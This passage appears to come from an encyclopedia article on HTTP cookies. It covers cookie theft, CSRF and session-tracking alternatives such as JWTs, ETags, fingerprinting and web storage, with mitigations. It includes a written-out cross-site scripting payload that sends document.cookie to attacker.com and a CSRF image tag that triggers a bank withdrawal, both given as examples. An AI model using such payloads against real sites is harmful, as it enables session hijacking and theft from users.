Traffic on a network can be intercepted and read by computers on the network other than the sender and receiver (particularly over unencrypted open Wi-Fi). This traffic includes cookies sent on ordinary unencrypted HTTP sessions. Where network traffic is not encrypted, attackers can therefore read the communications of other users on the network, including HTTP cookies as well as the entire contents of the conversations, for the purpose of a man-in-the-middle attack.
An attacker could use intercepted cookies to impersonate a user and perform a malicious task, such as transferring money out of the victim's bank account.
This issue can be resolved by securing the communication between the user's computer and the server by employing Transport Layer Security (HTTPS protocol) to encrypt the connection. A server can specify the Secure flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.[43]
If an attacker is able to cause a DNS server to cache a fabricated DNS entry (called DNS cache poisoning), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of f12345.www.example.com that points to the IP address of the attacker's server. The attacker can then post an image URL from his own server (for example, http://f12345.www.example.com/img_4_cookie.jpg). Victims reading the attacker's message would download this image from f12345.www.example.com. Since f12345.www.example.com is a sub-domain of www.example.com, victims' browsers would submit all example.com-related cookies to the attacker's server.
If an attacker is able to accomplish this, it is usually the fault of the Internet Service Providers for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge[91] of obtaining the target website's TLS certificate from a certificate authority, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies.
Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered HTML and JavaScript content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.
As an example, an attacker may post a message on www.example.com with the following link:
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the attacker.com server. If the attacker's malicious posting is on an HTTPS website https://www.example.com, secure cookies will also be sent to attacker.com in plain text.
It is the responsibility of the website developers to filter out such malicious code.
Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.
In older versions of many browsers, there were security holes in the implementation of the XMLHttpRequest API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the same-origin policy. For example, a victim is reading an attacker's posting on www.example.com, and the attacker's script is executed in the victim's browser. The script generates a request to www.example.com with the proxy server attacker.com. Since the request is for www.example.com, all example.com cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.
This attack would not work with secure cookies, since they can only be transmitted over HTTPS connections, and the HTTPS protocol dictates end-to-end encryption (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
Cookiejacking is an attack against Internet Explorer which allows the attacker to steal session cookies of a user by tricking a user into dragging an object across the screen.[92] Microsoft deemed the flaw low-risk because of "the level of required user interaction",[92] and the necessity of having a user already logged into the website whose cookie is stolen.[93] Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via social engineering.[92]
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (REST) software architectural style.[94][95]
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.[96]
Likewise, cookies do not differentiate between multiple users who share the same user account, computer, and browser.
Some of the operations that can be done using cookies can also be done using other mechanisms.
A JSON Web Token (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
The query string part of the URL is the part that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.
Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page internal to the site the first time, and then visits the same page by coming from an external search engine the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.
Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.
Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the HTTP GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).
All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the DOM property window.name. This data can be used instead of session cookies. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables on the client side.
The downside is that every separate window or tab will initially have an empty window.name property when opened.
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.
Some users may be tracked based on the IP address of the computer requesting the page. The server knows the IP address of the computer running the browser (or the proxy, if any is used) and could theoretically link a user's session to this IP address.
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as Tor, are designed to retain Internet anonymity, rendering tracking by IP address impractical, impossible, or a security risk.
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data.
ETags can be flushed in some browsers by clearing the browser cache.
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.
For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, var userId = 3243242;). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible.[97][98] Assimilation of such information into a single string constitutes a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting.[99] Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
The HTML5 standard (which most modern web browsers support to some extent) includes a JavaScript API called Web storage that allows two types of storage: local storage and session storage. Local storage behaves similarly to persistent cookies while session storage behaves similarly to session cookies, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.[100]
Internet Explorer supports persistent information[101] in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
Some web browser plugins include persistence mechanisms as well. For example, Adobe Flash has Local shared object and Microsoft Silverlight has Isolated storage.[102]
{{cite web}}: CS1 maint: unfit URL (link)
